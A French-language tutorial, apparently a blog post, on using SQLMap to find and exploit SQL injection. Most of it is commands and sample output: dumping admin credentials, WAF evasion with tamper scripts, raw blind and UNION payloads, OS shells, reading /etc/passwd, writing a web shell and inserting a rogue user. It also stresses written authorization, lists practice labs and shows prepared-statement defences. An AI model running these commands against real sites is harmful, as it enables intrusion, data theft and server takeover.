Introduction à SQLMap
SQLMap est l'outil open-source le plus puissant et le plus complet pour automatiser la détection et l'exploitation des vulnérabilités d'injection SQL. Développé en Python, il dispose d'un moteur de détection extrêmement performant et supporte une large gamme de systèmes de gestion de bases de données.
Pourquoi SQLMap ?
Avantages :
- Automatisation complète - Détection et exploitation automatiques
- Support multi-SGBD - MySQL, PostgreSQL, Oracle, MSSQL, SQLite, etc.
- Techniques avancées - Injection aveugle, temporelle, UNION-based
- Contournement WAF - Scripts de tamper intégrés
- Extraction de données - Bases, tables, colonnes, données
- Shell OS - Possibilité d'obtenir un shell sur le serveur
Installation Complète
Sur Kali Linux (pré-installé) :
# Vérifier la version
sqlmap --version
# Mettre à jour
cd /usr/share/sqlmap
sudo git pull
Installation manuelle :
# Cloner le dépôt
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
# Lancer SQLMap
python sqlmap.py --version
# Créer un alias (optionnel)
echo "alias sqlmap='python ~/sqlmap-dev/sqlmap.py'" >> ~/.bashrc
source ~/.bashrc
Utilisation de Base
1. Test d'URL Simple
Tester un paramètre GET pour l'injection SQL :
# Syntaxe de base
sqlmap -u "http://cible.com/page.php?id=1"
# Avec mode verbeux
sqlmap -u "http://cible.com/page.php?id=1" -v 3
# Mode batch (pas d'interaction)
sqlmap -u "http://cible.com/page.php?id=1" --batch
# Spécifier le paramètre à tester
sqlmap -u "http://cible.com/page.php?id=1&cat=2" -p id
Exemple de sortie :
[INFO] testing connection to the target URL
[INFO] checking if the target is protected by some kind of WAF/IPS
[INFO] testing if the target URL content is stable
[INFO] target URL content is stable
[INFO] testing if GET parameter 'id' is dynamic
[INFO] GET parameter 'id' appears to be dynamic
[INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[INFO] testing for SQL injection on GET parameter 'id'
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
2. Énumération des Bases de Données
Une fois l'injection confirmée, lister toutes les bases :
# Lister les bases de données
sqlmap -u "http://cible.com/page.php?id=1" --dbs
# Avec informations supplémentaires
sqlmap -u "http://cible.com/page.php?id=1" --dbs --banner --current-user --current-db
Résultat typique :
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] shop_db
[*] test
3. Énumération des Tables
Lister les tables d'une base spécifique :
# Tables d'une base
sqlmap -u "http://cible.com/page.php?id=1" -D shop_db --tables
# Toutes les tables de toutes les bases
sqlmap -u "http://cible.com/page.php?id=1" --tables
Exemple de sortie :
Database: shop_db
[4 tables]
+----------+
| users |
| products |
| orders |
| payments |
+----------+
4. Énumération des Colonnes
Lister les colonnes d'une table :
# Colonnes d'une table
sqlmap -u "http://cible.com/page.php?id=1" -D shop_db -T users --columns
Résultat :
Database: shop_db
Table: users
[5 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int(11) |
| username | varchar(50) |
| password | varchar(255) |
| email | varchar(100) |
| role | varchar(20) |
+----------+--------------+
5. Extraction de Données
Extraire les données d'une table :
# Dump complet d'une table
sqlmap -u "http://cible.com/page.php?id=1" -D shop_db -T users --dump
# Dump de colonnes spécifiques
sqlmap -u "http://cible.com/page.php?id=1" -D shop_db -T users -C username,password,email --dump
# Dump avec condition WHERE
sqlmap -u "http://cible.com/page.php?id=1" -D shop_db -T users --where="role='admin'" --dump
Techniques Avancées
Test de Requêtes POST
Tester les paramètres POST :
# Méthode 1 : Avec --data
sqlmap -u "http://cible.com/login.php" --data="username=admin&password=pass"
# Méthode 2 : Depuis un fichier de requête
# Sauvegarder la requête POST dans request.txt
sqlmap -r request.txt
# Méthode 3 : Spécifier le paramètre à tester
sqlmap -u "http://cible.com/login.php" --data="username=admin&password=pass" -p username
Exemple de fichier request.txt :
POST /login.php HTTP/1.1
Host: cible.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
username=admin&password=test123
Injection via Cookies
Tester les cookies pour l'injection SQL :
# Test de cookie
sqlmap -u "http://cible.com/page.php" --cookie="PHPSESSID=abcd1234; user_id=1" -p user_id
# Avec level élevé (teste plus de vecteurs)
sqlmap -u "http://cible.com/page.php" --cookie="session=xyz123" --level=3 --risk=2
Injection via Headers HTTP
Tester les en-têtes HTTP :
# Test User-Agent
sqlmap -u "http://cible.com/page.php" --headers="User-Agent: Mozilla*" --level=3
# Test Referer
sqlmap -u "http://cible.com/page.php" --referer="http://evil.com" --level=3
# Test X-Forwarded-For
sqlmap -u "http://cible.com/page.php" --headers="X-Forwarded-For: 1.2.3.4*" --level=5
Contournement de WAF
Utiliser des scripts de tamper pour contourner les pare-feu applicatifs :
# Tamper simple
sqlmap -u "http://cible.com/page.php?id=1" --tamper=space2comment
# Tampers multiples
sqlmap -u "http://cible.com/page.php?id=1" --tamper=space2comment,between,randomcase
# Tous les tampers disponibles
sqlmap --list-tampers
Scripts de tamper courants :
-
space2comment - Remplace les espaces par des commentaires SQL
sql SELECT * FROM users WHERE id=1 AND 1=1 # Devient SELECT/**/FROM/**/users/**/WHERE/**/id=1/**/AND/**/1=1 -
between - Remplace > par NOT BETWEEN 0 AND
sql id > 1 # Devient id NOT BETWEEN 0 AND 1 -
charencode - Encode tous les caractères en URL
sql ' OR '1'='1 # Devient %27%20%4F%52%20%27%31%27%3D%27%31 -
randomcase - Randomise la casse
sql SELECT * FROM users # Devient sElEcT * FrOm UsErS -
base64encode - Encode en Base64
sql admin' OR '1'='1 # Devient YWRtaW4nIE9SICcxJz0nMQ==
Scénarios Réels
Scénario 1 : Exploitation d'un Site E-commerce
Contexte : Page produit avec paramètre ID vulnérable
# Étape 1 : Détecter la vulnérabilité
sqlmap -u "http://boutique.cible.com/produit.php?id=5" --batch --threads=5
# Étape 2 : Identifier le SGBD
sqlmap -u "http://boutique.cible.com/produit.php?id=5" --banner --current-db --current-user
# Étape 3 : Énumérer les bases de données
sqlmap -u "http://boutique.cible.com/produit.php?id=5" --dbs
# Étape 4 : Lister les tables de la base shop_db
sqlmap -u "http://boutique.cible.com/produit.php?id=5" -D shop_db --tables
# Étape 5 : Examiner la structure de la table users
sqlmap -u "http://boutique.cible.com/produit.php?id=5" -D shop_db -T users --columns
# Étape 6 : Extraire les identifiants admin
sqlmap -u "http://boutique.cible.com/produit.php?id=5" -D shop_db -T users -C username,password,email --where="role='admin'" --dump
# Étape 7 : Tenter d'obtenir un shell OS
sqlmap -u "http://boutique.cible.com/produit.php?id=5" --os-shell
Scénario 2 : Contournement de WAF ModSecurity
Contexte : Site protégé par ModSecurity
# Étape 1 : Détection du WAF
sqlmap -u "http://cible-protegee.com/page.php?id=1" --identify-waf
# Étape 2 : Test avec tampers
sqlmap -u "http://cible-protegee.com/page.php?id=1" \
--tamper=space2comment,between,randomcase \
--random-agent \
--delay=2 \
--batch
# Étape 3 : Si échec, essayer d'autres tampers
sqlmap -u "http://cible-protegee.com/page.php?id=1" \
--tamper=charencode,base64encode \
--hpp \
--random-agent
# Étape 4 : Technique avancée - Fragmentation
sqlmap -u "http://cible-protegee.com/page.php?id=1" \
--tamper=space2comment \
--chunked \
--delay=3
Techniques d'Injection Spécifiques
Injection Booléenne Aveugle
# Forcer l'injection booléenne
sqlmap -u "http://cible.com/page.php?id=1" --technique=B
# Avec optimisation
sqlmap -u "http://cible.com/page.php?id=1" --technique=B --threads=10 --batch
Payloads utilisés :
-- Test TRUE
id=1 AND 1=1
-- Test FALSE
id=1 AND 1=2
-- Extraction caractère par caractère
id=1 AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'
Injection Temporelle Aveugle
# Forcer l'injection temporelle
sqlmap -u "http://cible.com/page.php?id=1" --technique=T --time-sec=5
Payloads utilisés :
-- MySQL
id=1 AND SLEEP(5)
id=1 AND IF(1=1,SLEEP(5),0)
-- PostgreSQL
id=1; SELECT pg_sleep(5)
-- MSSQL
id=1; WAITFOR DELAY '00:00:05'
-- Oracle
id=1 AND DBMS_LOCK.SLEEP(5)
Injection UNION-based
# Forcer UNION
sqlmap -u "http://cible.com/page.php?id=1" --technique=U
# Spécifier le nombre de colonnes
sqlmap -u "http://cible.com/page.php?id=1" --union-cols=5
Payloads utilisés :
-- Déterminer le nombre de colonnes
id=1 UNION SELECT NULL--
id=1 UNION SELECT NULL,NULL--
id=1 UNION SELECT NULL,NULL,NULL--
-- Extraire des données
id=1 UNION SELECT username,password,email FROM users--
id=1 UNION SELECT NULL,version(),database()--
Extraction Avancée
Obtenir un Shell OS
# Shell interactif
sqlmap -u "http://cible.com/page.php?id=1" --os-shell
# Exécuter une commande
sqlmap -u "http://cible.com/page.php?id=1" --os-cmd="whoami"
# Upload de fichier
sqlmap -u "http://cible.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php"
Lecture de Fichiers
# Lire /etc/passwd
sqlmap -u "http://cible.com/page.php?id=1" --file-read="/etc/passwd"
# Lire la configuration
sqlmap -u "http://cible.com/page.php?id=1" --file-read="/var/www/html/config.php"
Exécution de Requêtes SQL Personnalisées
# Requête SELECT
sqlmap -u "http://cible.com/page.php?id=1" --sql-query="SELECT user,password FROM mysql.user"
# Requête INSERT (attention !)
sqlmap -u "http://cible.com/page.php?id=1" --sql-query="INSERT INTO users (username,password) VALUES ('hacker','pwned')"
Options de Performance
# Threads multiples (max 10 recommandé)
sqlmap -u "http://cible.com/page.php?id=1" --threads=5
# Optimisation
sqlmap -u "http://cible.com/page.php?id=1" --threads=5 --batch --flush-session
# Null connection (plus rapide)
sqlmap -u "http://cible.com/page.php?id=1" --null-connection
# Keep-alive
sqlmap -u "http://cible.com/page.php?id=1" --keep-alive
Sauvegarde et Reprise
# Sauvegarder la session
sqlmap -u "http://cible.com/page.php?id=1" --batch --flush-session
# Reprendre une session
sqlmap -u "http://cible.com/page.php?id=1" --batch
# Spécifier un fichier de session
sqlmap -u "http://cible.com/page.php?id=1" -s session.sqlite
# Exporter les résultats
sqlmap -u "http://cible.com/page.php?id=1" --dump --dump-format=CSV
Bonnes Pratiques
Avant de commencer :
- Autorisation écrite - Toujours obtenir une autorisation explicite
- Environnement de test - Tester d'abord sur DVWA, bWAPP
- Documentation - Noter toutes les commandes et résultats
- Sauvegarde - Utiliser --batch et --flush-session
Pendant le test :
- Commencer doucement - Utiliser --threads=1 au début
- Mode verbeux - Utiliser -v pour comprendre ce qui se passe
- Tampers progressifs - Commencer sans tamper, puis ajouter si nécessaire
- Surveiller les logs - Vérifier que le site ne crashe pas
Après le test :
- Rapport détaillé - Documenter toutes les vulnérabilités trouvées
- Nettoyage - Supprimer les fichiers uploadés si applicable
- Recommandations - Proposer des correctifs (requêtes préparées, WAF, etc.)
Défense contre SQLMap
Côté développeur :
// ❌ Code vulnérable
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id";
// ✅ Code sécurisé - Requêtes préparées
$id = $_GET['id'];
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
Côté infrastructure :
- WAF - ModSecurity, Cloudflare WAF
- IDS/IPS - Snort, Suricata avec règles SQL injection
- Rate limiting - Limiter les requêtes par IP
- Monitoring - Alertes sur patterns SQLMap
- Principe du moindre privilège - Compte DB avec droits minimaux
Ressources
Documentation :
- Site officiel : sqlmap.org
- GitHub : github.com/sqlmapproject/sqlmap
- Wiki : github.com/sqlmapproject/sqlmap/wiki
Environnements de pratique :
- DVWA (Damn Vulnerable Web Application)
- bWAPP (buggy Web Application)
- OWASP WebGoat
- HackTheBox - Machines web
- TryHackMe - Rooms SQL injection
Cheat Sheet :
# Scan basique
sqlmap -u "URL" --batch
# Scan complet
sqlmap -u "URL" --batch --threads=5 --level=5 --risk=3
# Dump base complète
sqlmap -u "URL" -D database --dump-all
# Shell OS
sqlmap -u "URL" --os-shell
# Contournement WAF
sqlmap -u "URL" --tamper=space2comment,between --random-agent
Conclusion
SQLMap est l'outil le plus puissant pour l'exploitation d'injections SQL. Sa maîtrise est essentielle pour tout pentester. Pratiquez régulièrement sur des environnements légaux et gardez toujours à l'esprit l'aspect éthique et légal de vos tests.
Points clés à retenir :
- ✅ Toujours obtenir une autorisation écrite
- ✅ Commencer par des tests simples
- ✅ Utiliser --batch pour l'automatisation
- ✅ Documenter tous les résultats
- ✅ Proposer des correctifs après le test
Rappel légal : L'utilisation de SQLMap sans autorisation est illégale et punissable par la loi. N'utilisez cet outil que dans un cadre légal et éthique.
Chadow4
Commentaires (3)